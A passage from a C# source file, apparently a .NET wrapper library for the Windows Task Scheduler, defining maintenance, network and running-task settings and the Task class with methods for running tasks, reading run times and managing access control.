null)\n                    return Task.StringToTimeSpan(v2Settings.WaitTimeout);\n                v1Task.GetIdleWait(out var idleMin, out var _);\n                return TimeSpan.FromMinutes(idleMin);\n            }\n            set\n            {\n                if (v2Settings != null)\n                {\n                    if (value != TimeSpan.Zero && value < TimeSpan.FromMinutes(1))\n                        throw new ArgumentOutOfRangeException(nameof(WaitTimeout));\n                    v2Settings.WaitTimeout = Task.TimeSpanToString(value);\n                }\n                else\n                {\n                    v1Task.SetIdleWait((ushort)value.TotalMinutes, (ushort)IdleDuration.TotalMinutes);\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public void Dispose()\n        {\n            if (v2Settings != null)\n                Marshal.ReleaseComObject(v2Settings);\n            v1Task = null;\n        }\n\n        /// <summary>Returns a <see cref=\"string\"/> that represents this instance.</summary>\n        /// <returns>A <see cref=\"string\"/> that represents this instance.</returns>\n        public override string ToString()\n        {\n            if (v2Settings != null || v1Task != null)\n                return DebugHelper.GetDebugString(this);\n            return base.ToString();\n        }\n\n        /// <summary>Called when a property has changed to notify any attached elements.</summary>\n        /// <param name=\"propertyName\">Name of the property.</param>\n        private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = \"\") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));\n    }\n\n    /// <summary>Specifies the task settings the Task scheduler will use to start task during Automatic maintenance.</summary>\n    [XmlType(IncludeInSchema = false)]\n    [PublicAPI]\n    public sealed class MaintenanceSettings : IDisposable, INotifyPropertyChanged\n    {\n        private readonly ITaskSettings3 iSettings;\n        private IMaintenanceSettings iMaintSettings;\n\n        internal MaintenanceSettings([CanBeNull] ITaskSettings3 iSettings3)\n        {\n            iSettings = iSettings3;\n            if (iSettings3 != null)\n                iMaintSettings = iSettings.MaintenanceSettings;\n        }\n\n        /// <summary>Occurs when a property value changes.</summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>\n        /// Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance,\n        /// if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the <see\n        /// cref=\"Deadline\"/> property should be greater than the value of the <see cref=\"Period\"/> property. If the deadline is not\n        /// specified the task will not be started during emergency Automatic maintenance.\n        /// </summary>\n        /// <exception cref=\"NotSupportedPriorToException\">Property set for a task on a Task Scheduler version prior to 2.2.</exception>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        public TimeSpan Deadline\n        {\n            get => iMaintSettings != null ? Task.StringToTimeSpan(iMaintSettings.Deadline) : TimeSpan.Zero;\n            set\n            {\n                if (iSettings != null)\n                {\n                    if (iMaintSettings == null && value != TimeSpan.Zero)\n                        iMaintSettings = iSettings.CreateMaintenanceSettings();\n                    if (iMaintSettings != null)\n                        iMaintSettings.Deadline = Task.TimeSpanToString(value);\n                }\n                else\n                    throw new NotSupportedPriorToException(TaskCompatibility.V2_2);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive\n        /// mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If\n        /// exclusivity is not specified, the task is started in parallel with other maintenance tasks.\n        /// </summary>\n        /// <exception cref=\"NotSupportedPriorToException\">Property set for a task on a Task Scheduler version prior to 2.2.</exception>\n        [DefaultValue(false)]\n        public bool Exclusive\n        {\n            get => iMaintSettings != null && iMaintSettings.Exclusive;\n            set\n            {\n                if (iSettings != null)\n                {\n                    if (iMaintSettings == null && value)\n                        iMaintSettings = iSettings.CreateMaintenanceSettings();\n                    if (iMaintSettings != null)\n                        iMaintSettings.Exclusive = value;\n                }\n                else\n                    throw new NotSupportedPriorToException(TaskCompatibility.V2_2);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute.\n        /// </summary>\n        /// <exception cref=\"NotSupportedPriorToException\">Property set for a task on a Task Scheduler version prior to 2.2.</exception>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        public TimeSpan Period\n        {\n            get => iMaintSettings != null ? Task.StringToTimeSpan(iMaintSettings.Period) : TimeSpan.Zero;\n            set\n            {\n                if (iSettings != null)\n                {\n                    if (iMaintSettings == null && value != TimeSpan.Zero)\n                        iMaintSettings = iSettings.CreateMaintenanceSettings();\n                    if (iMaintSettings != null)\n                        iMaintSettings.Period = Task.TimeSpanToString(value);\n                }\n                else\n                    throw new NotSupportedPriorToException(TaskCompatibility.V2_2);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public void Dispose()\n        {\n            if (iMaintSettings != null)\n                Marshal.ReleaseComObject(iMaintSettings);\n        }\n\n        /// <summary>Returns a <see cref=\"string\"/> that represents this instance.</summary>\n        /// <returns>A <see cref=\"string\"/> that represents this instance.</returns>\n        public override string ToString() => iMaintSettings != null ? DebugHelper.GetDebugString(this) : base.ToString();\n\n        internal bool IsSet() => iMaintSettings != null && (iMaintSettings.Period != null || iMaintSettings.Deadline != null || iMaintSettings.Exclusive);\n\n        /// <summary>Called when a property has changed to notify any attached elements.</summary>\n        /// <param name=\"propertyName\">Name of the property.</param>\n        private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = \"\") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));\n    }\n\n    /// <summary>Provides the settings that the Task Scheduler service uses to obtain a network profile.</summary>\n    [XmlType(IncludeInSchema = false)]\n    [PublicAPI]\n    public sealed class NetworkSettings : IDisposable, INotifyPropertyChanged\n    {\n        private readonly INetworkSettings v2Settings;\n\n        internal NetworkSettings([CanBeNull] INetworkSettings iSettings) => v2Settings = iSettings;\n\n        /// <summary>Occurs when a property value changes.</summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>Gets or sets a GUID value that identifies a network profile.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(typeof(Guid), \"00000000-0000-0000-0000-000000000000\")]\n        public Guid Id\n        {\n            get\n            {\n                string id = null;\n                if (v2Settings != null)\n                    id = v2Settings.Id;\n                return string.IsNullOrEmpty(id) ? Guid.Empty : new Guid(id);\n            }\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.Id = value == Guid.Empty ? null : value.ToString();\n                else\n                    throw new NotV1SupportedException();\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the name of a network profile. The name is used for display purposes.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(null)]\n        public string Name\n        {\n            get => v2Settings?.Name;\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.Name = value;\n                else\n                    throw new NotV1SupportedException();\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public void Dispose()\n        {\n            if (v2Settings != null)\n                Marshal.ReleaseComObject(v2Settings);\n        }\n\n        /// <summary>Returns a <see cref=\"string\"/> that represents this instance.</summary>\n        /// <returns>A <see cref=\"string\"/> that represents this instance.</returns>\n        public override string ToString()\n        {\n            if (v2Settings != null)\n                return DebugHelper.GetDebugString(this);\n            return base.ToString();\n        }\n\n        internal bool IsSet() => v2Settings != null && (!string.IsNullOrEmpty(v2Settings.Id) || !string.IsNullOrEmpty(v2Settings.Name));\n\n        /// <summary>Called when a property has changed to notify any attached elements.</summary>\n        /// <param name=\"propertyName\">Name of the property.</param>\n        private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = \"\") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));\n    }\n\n    /// <summary>Provides the methods to get information from and control a running task.</summary>\n    [XmlType(IncludeInSchema = false)]\n    [PublicAPI]\n    public sealed class RunningTask : Task\n    {\n        private readonly IRunningTask v2RunningTask;\n\n        internal RunningTask([NotNull] TaskService svc, [NotNull] IRegisteredTask iTask, [NotNull] IRunningTask iRunningTask)\n            : base(svc, iTask) => v2RunningTask = iRunningTask;\n\n        internal RunningTask([NotNull] TaskService svc, [NotNull] ITask iTask)\n            : base(svc, iTask)\n        {\n        }\n\n        /// <summary>Gets the process ID for the engine (process) which is running the task.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        public uint EnginePID\n        {\n            get\n            {\n                if (v2RunningTask != null)\n                    return v2RunningTask.EnginePID;\n                throw new NotV1SupportedException();\n            }\n        }\n\n        /// <summary>Gets the name of the current action that the running task is performing.</summary>\n        public string CurrentAction => v2RunningTask != null ? v2RunningTask.CurrentAction : v1Task.GetApplicationName();\n\n        /// <summary>Gets the GUID identifier for this instance of the task.</summary>\n        public Guid InstanceGuid => v2RunningTask != null ? new Guid(v2RunningTask.InstanceGuid) : Guid.Empty;\n\n        /// <summary>Gets the operational state of the running task.</summary>\n        public override TaskState State => v2RunningTask?.State ?? base.State;\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public new void Dispose()\n        {\n            base.Dispose();\n            if (v2RunningTask != null) Marshal.ReleaseComObject(v2RunningTask);\n        }\n\n        /// <summary>Refreshes all of the local instance variables of the task.</summary>\n        /// <exception cref=\"InvalidOperationException\">Thrown if task is no longer running.</exception>\n        public void Refresh()\n        {\n            try { v2RunningTask?.Refresh(); }\n            catch (COMException ce) when ((uint)ce.ErrorCode == 0x8004130B)\n            {\n                throw new InvalidOperationException(\"The current task is no longer running.\", ce);\n            }\n        }\n    }\n\n    /// <summary>\n    /// Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials\n    /// that are used to register the task, and the properties that describe the task.\n    /// </summary>\n    [XmlType(IncludeInSchema = false)]\n    [PublicAPI]\n    public class Task : IDisposable, IComparable, IComparable<Task>, INotifyPropertyChanged\n    {\n        internal const AccessControlSections defaultAccessControlSections = AccessControlSections.Owner | AccessControlSections.Group | AccessControlSections.Access;\n        internal const SecurityInfos defaultSecurityInfosSections = SecurityInfos.Owner | SecurityInfos.Group | SecurityInfos.DiscretionaryAcl;\n        internal ITask v1Task;\n\n        private static readonly int osLibMinorVer = GetOSLibraryMinorVersion();\n        private static readonly DateTime v2InvalidDate = new DateTime(1899, 12, 30);\n        private readonly IRegisteredTask v2Task;\n        private TaskDefinition myTD;\n\n        internal Task([NotNull] TaskService svc, [NotNull] ITask iTask)\n        {\n            TaskService = svc;\n            v1Task = iTask;\n            ReadOnly = false;\n        }\n\n        internal Task([NotNull] TaskService svc, [NotNull] IRegisteredTask iTask, ITaskDefinition iDef = null)\n        {\n            TaskService = svc;\n            v2Task = iTask;\n            if (iDef != null)\n                myTD = new TaskDefinition(iDef);\n            ReadOnly = false;\n        }\n\n        /// <summary>Occurs when a property value changes.</summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>Gets the definition of the task.</summary>\n        [NotNull]\n        public TaskDefinition Definition => myTD ??= v2Task != null ? new TaskDefinition(GetV2Definition(TaskService, v2Task, true)) : new TaskDefinition(v1Task, Name);\n\n        /// <summary>Gets or sets a Boolean value that indicates if the registered task is enabled.</summary>\n        /// <remarks>\n        /// As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the\n        /// current task. If changes have been made to the <see cref=\"TaskDefinition\"/>, then those changes will be saved.\n        /// </remarks>\n        public bool Enabled\n        {\n            get => v2Task?.Enabled ?? Definition.Settings.Enabled;\n            set\n            {\n                if (v2Task != null)\n                    v2Task.Enabled = value;\n                else\n                {\n                    Definition.Settings.Enabled = value;\n                    Definition.V1Save(null);\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets an instance of the parent folder.</summary>\n        /// <value>A <see cref=\"TaskFolder\"/> object representing the parent folder of this task.</value>\n        [NotNull]\n        public TaskFolder Folder\n        {\n            get\n            {\n                if (v2Task == null)\n                    return TaskService.RootFolder;\n\n                var path = v2Task.Path;\n                var parentPath = System.IO.Path.GetDirectoryName(path);\n                if (string.IsNullOrEmpty(parentPath) || parentPath == TaskFolder.rootString)\n                    return TaskService.RootFolder;\n                return TaskService.GetFolder(parentPath);\n            }\n        }\n\n        /// <summary>Gets a value indicating whether this task instance is active.</summary>\n        /// <value><c>true</c> if this task instance is active; otherwise, <c>false</c>.</value>\n        public bool IsActive\n        {\n            get\n            {\n                var now = DateTime.Now;\n                if (!Definition.Settings.Enabled) return false;\n                foreach (var trigger in Definition.Triggers)\n                {\n                    if (!trigger.Enabled || now < trigger.StartBoundary || now > trigger.EndBoundary) continue;\n                    if (!(trigger is ICalendarTrigger) || DateTime.MinValue != NextRunTime || trigger is TimeTrigger)\n                        return true;\n                }\n                return false;\n            }\n        }\n\n        /// <summary>Gets the time the registered task was last run.</summary>\n        /// <value>Returns <see cref=\"DateTime.MinValue\"/> if there are no prior run times.</value>\n        public DateTime LastRunTime\n        {\n            get\n            {\n                if (v2Task == null) return v1Task.GetMostRecentRunTime();\n                var dt = v2Task.LastRunTime;\n                return dt == v2InvalidDate ? DateTime.MinValue : dt;\n            }\n        }\n\n        /// <summary>Gets the results that were returned the last time the registered task was run.</summary>\n        /// <remarks>The value returned is the last exit code of the last program run via an <see cref=\"Action.ExecAction\"/>.</remarks>\n        /// <example>\n        /// <code lang=\"cs\">\n        ///<![CDATA[\n        /// // See if the last run of a task returned an error code\n        /// if (TaskService.Instance.GetTask(\"MyTask\").LastTaskResult != 0)\n        /// MessageBox.Show(\"This program has an error.\");\n        ///]]>\n        /// </code>\n        /// </example>\n        public int LastTaskResult\n        {\n            get\n            {\n                if (v2Task != null)\n                    return v2Task.LastTaskResult;\n                return (int)v1Task.GetExitCode();\n            }\n        }\n\n        /// <summary>Gets the time when the registered task is next scheduled to run.</summary>\n        /// <value>Returns <see cref=\"DateTime.MinValue\"/> if there are no future run times.</value>\n        /// <remarks>\n        /// Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if\n        /// there were no future run times. For 1.0, that value would have been <c>DateTime.MinValue</c>. In release 1.8.2 and later, all\n        /// versions will return <c>DateTime.MinValue</c> if there are no future run times. While this is different from the native 2.0\n        /// library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries.\n        /// </remarks>\n        public DateTime NextRunTime\n        {\n            get\n            {\n                if (v2Task == null) return v1Task.GetNextRunTime();\n                var ret = v2Task.NextRunTime;\n                if (ret != DateTime.MinValue && ret != v2InvalidDate) return ret == v2InvalidDate ? DateTime.MinValue : ret;\n                var nrts = GetRunTimes(DateTime.Now, DateTime.MaxValue, 1);\n                ret = nrts.Length > 0 ? nrts[0] : DateTime.MinValue;\n                return ret == v2InvalidDate ? DateTime.MinValue : ret;\n            }\n        }\n\n        /// <summary>\n        /// Gets a value indicating whether this task is read only. Only available if <see\n        /// cref=\"TaskScheduler.TaskService.AllowReadOnlyTasks\"/> is <c>true</c>.\n        /// </summary>\n        /// <value><c>true</c> if read only; otherwise, <c>false</c>.</value>\n        public bool ReadOnly { get; internal set; }\n\n        /// <summary>Gets or sets the security descriptor for the task.</summary>\n        /// <value>The security descriptor.</value>\n        [Obsolete(\"This property will be removed in deference to the GetAccessControl, GetSecurityDescriptorSddlForm, SetAccessControl and SetSecurityDescriptorSddlForm methods.\")]\n        public GenericSecurityDescriptor SecurityDescriptor\n        {\n            get\n            {\n                var sddl = GetSecurityDescriptorSddlForm();\n                return new RawSecurityDescriptor(sddl);\n            }\n            set => SetSecurityDescriptorSddlForm(value.GetSddlForm(defaultAccessControlSections));\n        }\n\n        /// <summary>Gets the operational state of the registered task.</summary>\n        public virtual TaskState State\n        {\n            get\n            {\n                if (v2Task != null)\n                    return v2Task.State;\n\n                V1Reactivate();\n                if (!Enabled)\n                    return TaskState.Disabled;\n                switch (v1Task.GetStatus())\n                {\n                    case TaskStatus.Ready:\n                    case TaskStatus.NeverRun:\n                    case TaskStatus.NoMoreRuns:\n                    case TaskStatus.Terminated:\n                        return TaskState.Ready;\n\n                    case TaskStatus.Running:\n                        return TaskState.Running;\n\n                    case TaskStatus.Disabled:\n                        return TaskState.Disabled;\n                    // case TaskStatus.NotScheduled: case TaskStatus.NoTriggers: case TaskStatus.NoTriggerTime:\n                    default:\n                        return TaskState.Unknown;\n                }\n            }\n        }\n\n        /// <summary>Gets or sets the <see cref=\"TaskService\"/> that manages this task.</summary>\n        /// <value>The task service.</value>\n        public TaskService TaskService { get; }\n\n        /// <summary>Gets the name of the registered task.</summary>\n        [NotNull]\n        public string Name => v2Task != null ? v2Task.Name : System.IO.Path.GetFileNameWithoutExtension(GetV1Path(v1Task));\n\n        /// <summary>Gets the number of times the registered task has missed a scheduled run.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        public int NumberOfMissedRuns => v2Task?.NumberOfMissedRuns ?? throw new NotV1SupportedException();\n\n        /// <summary>Gets the path to where the registered task is stored.</summary>\n        [NotNull]\n        public string Path => v2Task != null ? v2Task.Path : \"\\\\\" + Name;\n\n        /// <summary>Gets the XML-formatted registration information for the registered task.</summary>\n        public string Xml => v2Task != null ? v2Task.Xml : Definition.XmlText;\n\n        /// <summary>\n        /// Compares the current instance with another object of the same type and returns an integer that indicates whether the current\n        /// instance precedes, follows, or occurs in the same position in the sort order as the other object.\n        /// </summary>\n        /// <param name=\"other\">An object to compare with this instance.</param>\n        /// <returns>A value that indicates the relative order of the objects being compared.</returns>\n        public int CompareTo(Task other) => string.Compare(Path, other?.Path, StringComparison.InvariantCulture);\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public void Dispose()\n        {\n            if (v2Task != null)\n                Marshal.ReleaseComObject(v2Task);\n            v1Task = null;\n        }\n\n        /// <summary>Exports the task to the specified file in XML.</summary>\n        /// <param name=\"outputFileName\">Name of the output file.</param>\n        public void Export([NotNull] string outputFileName) => File.WriteAllText(outputFileName, Xml, Encoding.Unicode);\n\n        /// <summary>\n        /// Gets a <see cref=\"TaskSecurity\"/> object that encapsulates the specified type of access control list (ACL) entries for the task\n        /// described by the current <see cref=\"Task\"/> object.\n        /// </summary>\n        /// <returns>A <see cref=\"TaskSecurity\"/> object that encapsulates the access control rules for the current task.</returns>\n        public TaskSecurity GetAccessControl() => GetAccessControl(defaultAccessControlSections);\n\n        /// <summary>\n        /// Gets a <see cref=\"TaskSecurity\"/> object that encapsulates the specified type of access control list (ACL) entries for the task\n        /// described by the current <see cref=\"Task\"/> object.\n        /// </summary>\n        /// <param name=\"includeSections\">\n        /// One of the <see cref=\"System.Security.AccessControl.AccessControlSections\"/> values that specifies which group of access control\n        /// entries to retrieve.\n        /// </param>\n        /// <returns>A <see cref=\"TaskSecurity\"/> object that encapsulates the access control rules for the current task.</returns>\n        public TaskSecurity GetAccessControl(AccessControlSections includeSections) => new TaskSecurity(this, includeSections);\n\n        /// <summary>Gets all instances of the currently running registered task.</summary>\n        /// <returns>A <see cref=\"RunningTaskCollection\"/> with all instances of current task.</returns>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [NotNull, ItemNotNull]\n        public RunningTaskCollection GetInstances() => v2Task != null\n            ? new RunningTaskCollection(TaskService, v2Task.GetInstances(0))\n            : throw new NotV1SupportedException();\n\n        /// <summary>\n        /// Gets the last registration time, looking first at the <see cref=\"TaskRegistrationInfo.Date\"/> value and then looking for the\n        /// most recent registration event in the Event Log.\n        /// </summary>\n        /// <returns><see cref=\"DateTime\"/> of the last registration or <see cref=\"DateTime.MinValue\"/> if no value can be found.</returns>\n        public DateTime GetLastRegistrationTime()\n        {\n            var ret = Definition.RegistrationInfo.Date;\n            if (ret != DateTime.MinValue) return ret;\n            var log = new TaskEventLog(Path, new[] { (int)StandardTaskEventId.JobRegistered }, null, TaskService.TargetServer, TaskService.UserAccountDomain, TaskService.UserName, TaskService.UserPassword);\n            if (!log.Enabled) return ret;\n            foreach (var item in log)\n            {\n                if (item.TimeCreated.HasValue)\n                    return item.TimeCreated.Value;\n            }\n            return ret;\n        }\n\n        /// <summary>Gets the times that the registered task is scheduled to run during a specified time.</summary>\n        /// <param name=\"start\">The starting time for the query.</param>\n        /// <param name=\"end\">The ending time for the query.</param>\n        /// <param name=\"count\">The requested number of runs. A value of 0 will return all times requested.</param>\n        /// <returns>The scheduled times that the task will run.</returns>\n        [NotNull]\n        public DateTime[] GetRunTimes(DateTime start, DateTime end, uint count = 0)\n        {\n            const ushort TASK_MAX_RUN_TIMES = 1440;\n\n            NativeMethods.SYSTEMTIME stStart = start;\n            NativeMethods.SYSTEMTIME stEnd = end;\n            var runTimes = IntPtr.Zero;\n            var ret = new DateTime[0];\n            try\n            {\n                if (v2Task != null)\n                    v2Task.GetRunTimes(ref stStart, ref stEnd, ref count, ref runTimes);\n                else\n                {\n                    var count1 = count > 0 && count <= TASK_MAX_RUN_TIMES ? (ushort)count : TASK_MAX_RUN_TIMES;\n                    v1Task.GetRunTimes(ref stStart, ref stEnd, ref count1, ref runTimes);\n                    count = count1;\n                }\n                ret = InteropUtil.ToArray<NativeMethods.SYSTEMTIME, DateTime>(runTimes, (int)count);\n            }\n            catch (Exception ex)\n            {\n                Debug.WriteLine($\"Task.GetRunTimes failed: Error {ex}.\");\n            }\n            finally\n            {\n                Marshal.FreeCoTaskMem(runTimes);\n            }\n            Debug.WriteLine($\"Task.GetRunTimes ({(v2Task != null ? \"V2\" : \"V1\")}): Returned {count} items from {stStart} to {stEnd}.\");\n            return ret;\n        }\n\n        /// <summary>Gets the security descriptor for the task. Not available to Task Scheduler 1.0.</summary>\n        /// <param name=\"includeSections\">Section(s) of the security descriptor to return.</param>\n        /// <returns>The security descriptor for the task.</returns>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        public string GetSecurityDescriptorSddlForm(SecurityInfos includeSections = defaultSecurityInfosSections) => v2Task != null ? v2Task.GetSecurityDescriptor((int)includeSections) : throw new NotV1SupportedException();\n\n        /// <summary>\n        /// Updates the task with any changes made to the <see cref=\"Definition\"/> by calling <see\n        /// cref=\"TaskFolder.RegisterTaskDefinition(string, TaskDefinition)\"/> from the currently registered folder using the currently\n        /// registered name.\n        /// </summary>\n        /// <exception cref=\"System.Security.SecurityException\">Thrown if task was previously registered with a password.</exception>\n        public void RegisterChanges()\n        {\n            if (Definition.Principal.RequiresPassword())\n                throw new SecurityException(\"Tasks which have been registered previously with stored passwords must use the TaskFolder.RegisterTaskDefinition method for updates.\");\n            if (v2Task != null)\n                TaskService.GetFolder(System.IO.Path.GetDirectoryName(Path)).RegisterTaskDefinition(Name, Definition, TaskCreation.Update, null, null, Definition.Principal.LogonType);\n            else\n                TaskService.RootFolder.RegisterTaskDefinition(Name, Definition);\n        }\n\n        /// <summary>Runs the registered task immediately.</summary>\n        /// <param name=\"parameters\">\n        /// <para>\n        /// The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters,\n        /// call this method without any values (e.g.\n        /// <code>Run()</code>\n        /// ).\n        /// </para>\n        /// <para>\n        /// The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value,\n        /// then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in\n        /// the action properties.\n        /// </para>\n        /// <para>\n        /// If you pass in values such as \"0\", \"100\", and \"250\" as an array of string values, then \"0\" will replace the $(Arg0) variables,\n        /// \"100\" will replace the $(Arg1) variables, and \"250\" will replace the $(Arg2) variables used in the action properties.\n        /// </para>\n        /// <para>\n        /// For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see\n        /// <a href=\"https://docs.microsoft.com/en-us/windows/desktop/taskschd/task-actions#using-variables-in-action-properties\">Task Actions</a>.\n        /// </para>\n        /// </param>\n        /// <returns>A <see cref=\"RunningTask\"/> instance that defines the new instance of the task.</returns>\n        /// <example>\n        /// <code lang=\"cs\">\n        ///<![CDATA[\n        /// // Run the current task with a parameter\n        /// var runningTask = myTaskInstance.Run(\"info\");\n        /// Console.Write(string.Format(\"Running task's current action is {0}.\", runningTask.CurrentAction));\n        ///]]>\n        /// </code>\n        /// </example>\n        public RunningTask Run(params string[] parameters)\n        {\n            if (v2Task != null)\n            {\n                if (parameters.Length > 32)\n                    throw new ArgumentOutOfRangeException(nameof(parameters), \"A maximum of 32 values is allowed.\");\n                if (TaskService.HighestSupportedVersion < TaskServiceVersion.V1_5 && parameters.Any(p => (p?.Length ?? 0) >= 260))\n                    throw new ArgumentOutOfRangeException(nameof(parameters), \"On systems prior to Windows 10, all individual parameters must be less than 260 characters.\");\n                var irt = v2Task.Run(parameters.Length == 0 ? null : parameters);\n                return irt != null ? new RunningTask(TaskService, v2Task, irt) : null;\n            }\n\n            v1Task.Run();\n            return new RunningTask(TaskService, v1Task);\n        }\n\n        /// <summary>Runs the registered task immediately using specified flags and a session identifier.</summary>\n        /// <param name=\"flags\">Defines how the task is run.</param>\n        /// <param name=\"sessionID\">\n        /// <para>The terminal server session in which you want to start the task.</para>\n        /// <para>\n        /// If the <see cref=\"TaskRunFlags.UseSessionId\"/> value is not passed into the <paramref name=\"flags\"/> parameter, then the value\n        /// specified in this parameter is ignored.If the <see cref=\"TaskRunFlags.UseSessionId\"/> value is passed into the flags parameter\n        /// and the sessionID value is less than or equal to 0, then an invalid argument error will be returned.\n        /// </para>\n        /// <para>\n        /// If the <see cref=\"TaskRunFlags.UseSessionId\"/> value is passed into the <paramref name=\"flags\"/> parameter and the sessionID\n        /// value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service\n        /// will try to start the task interactively as the user who is logged on to the specified session.\n        /// </para>\n        /// <para>\n        /// If the <see cref=\"TaskRunFlags.UseSessionId\"/> value is passed into the <paramref name=\"flags\"/> parameter and the sessionID\n        /// value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service\n        /// will try to start the task interactively as the user who is specified in the user parameter.\n        /// </para>\n        /// </param>\n        /// <param name=\"user\">The user for which the task runs.</param>\n        /// <param name=\"parameters\">\n        /// <para>\n        /// The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters,\n        /// call this method without any values (e.g.\n        /// <code>RunEx(0, 0, \"MyUserName\")</code>\n        /// ).\n        /// </para>\n        /// <para>\n        /// The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value,\n        /// then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in\n        /// the action properties.\n        /// </para>\n        /// <para>\n        /// If you pass in values such as \"0\", \"100\", and \"250\" as an array of string values, then \"0\" will replace the $(Arg0) variables,\n        /// \"100\" will replace the $(Arg1) variables, and \"250\" will replace the $(Arg2) variables used in the action properties.\n        /// </para>\n        /// <para>\n        /// For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see\n        /// <a href=\"https://docs.microsoft.com/en-us/windows/desktop/taskschd/task-actions#using-variables-in-action-properties\">Task Actions</a>.\n        /// </para>\n        /// </param>\n        /// <returns>A <see cref=\"RunningTask\"/> instance that defines the new instance of the task.</returns>\n        /// <remarks>\n        /// <para>\n        /// This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to\n        /// false for the task.\n        /// </para>\n        /// <para>If RunEx is invoked from a disabled task, it will return <c>null</c> and the task will not be run.</para>\n        /// </remarks>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        /// <example>\n        /// <code lang=\"cs\">\n        ///<![CDATA[\n        /// // Run the current task with a parameter as a different user and ignoring any of the conditions.\n        /// var runningTask = myTaskInstance.RunEx(TaskRunFlags.IgnoreConstraints, 0, \"DOMAIN\\\\User\", \"info\");\n        /// Console.Write(string.Format(\"Running task's current action is {0}.\", runningTask.CurrentAction));\n        ///]]>\n        /// </code>\n        /// </example>\n        public RunningTask RunEx(TaskRunFlags flags, int sessionID, string user, params string[] parameters)\n        {\n            if (v2Task == null) throw new NotV1SupportedException();\n            if (parameters == null || parameters.Any(s => s == null))\n                throw new ArgumentNullException(nameof(parameters), \"The array and none of the values passed as parameters may be `null`.\");\n            if (parameters.Length > 32)\n                throw new ArgumentOutOfRangeException(nameof(parameters), \"A maximum of 32 parameters can be supplied to RunEx.\");\n            if (TaskService.HighestSupportedVersion < TaskServiceVersion.V1_5 && parameters.Any(p => (p?.Length ?? 0) >= 260))\n                throw new ArgumentOutOfRangeException(nameof(parameters), \"On systems prior to Windows 10, no individual parameter may be more than 260 characters.\");\n            var irt = v2Task.RunEx(parameters.Length == 0 ? null : parameters, (int)flags, sessionID, user);\n            return irt != null ? new RunningTask(TaskService, v2Task, irt) : null;\n        }\n\n        /// <summary>\n        /// Applies access control list (ACL) entries described by a <see cref=\"TaskSecurity\"/> object to the file described by the current\n        /// <see cref=\"Task\"/> object.\n        /// </summary>\n        /// <param name=\"taskSecurity\">\n        /// A <see cref=\"TaskSecurity\"/> object that describes an access control list (ACL) entry to apply to the current task.\n        /// </param>\n        /// <example>\n        /// <para>Give read access to all authenticated users for a task.</para>\n        /// <code lang=\"cs\">\n        ///<![CDATA[\n        /// // Assume variable 'task' is a valid Task instance\n        /// var taskSecurity = task.GetAccessControl();\n        /// taskSecurity.AddAccessRule(new TaskAccessRule(\"Authenticated Users\", TaskRights.Read, System.Security.AccessControl.AccessControlType.Allow));\n        /// task.SetAccessControl(taskSecurity);\n        ///]]>\n        /// </code>\n        /// </example>\n        public void SetAccessControl([NotNull] TaskSecurity taskSecurity) => taskSecurity.Persist(this);\n\n        /// <summary>Sets the security descriptor for the task. Not available to Task Scheduler 1.0.</summary>\n        /// <param name=\"sddlForm\">The 